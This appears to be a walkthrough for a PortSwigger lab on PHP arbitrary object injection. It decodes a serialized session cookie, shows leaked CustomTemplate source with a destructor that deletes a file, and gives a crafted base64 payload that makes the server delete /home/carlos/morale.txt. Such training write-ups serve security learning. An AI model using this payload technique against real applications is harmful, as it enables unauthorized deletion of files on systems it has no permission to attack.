Port Swigger Arbitrary object injection in PHP

Arbitrary object injection in PHP

Solution

Login to website: wiener

POST /login HTTP/2
Host: 0a4e00bb0350725c80a471760053001c.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a4e00bb0350725c80a471760053001c.web-security-academy.net
Referer: https://0a4e00bb0350725c80a471760053001c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0a4e00bb0350725c80a471760053001c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJtdGdzZW8zczMzZmMzZXJkazNzZjl6N2R3bmh0YWFrNSI7fQ%3d%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a4e00bb0350725c80a471760053001c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Decode cookie session

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJtdGdzZW8zczMzZmMzZXJkazNzZjl6N2R3bmh0YWFrNSI7fQ%3d%3d
---
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"mtgseo3s33fc3erdk3sf9z7dwnhtaak5";}

Read file: CustomTemplate.php~

https://0a4e00bb0350725c80a471760053001c.web-security-academy.net/libs/CustomTemplate.php~
vulnerability here: unlink($this->lock_file_path);
---
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

Edit PHP object

Old: O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"mtgseo3s33fc3erdk3sf9z7dwnhtaak5";}
New: O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Base64: TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==

Sent request

GET /my-account?id=wiener HTTP/2
Host: 0ab8000d03982ec282ccabd700190072.web-security-academy.net
Cookie: session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ab8000d03982ec282ccabd700190072.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved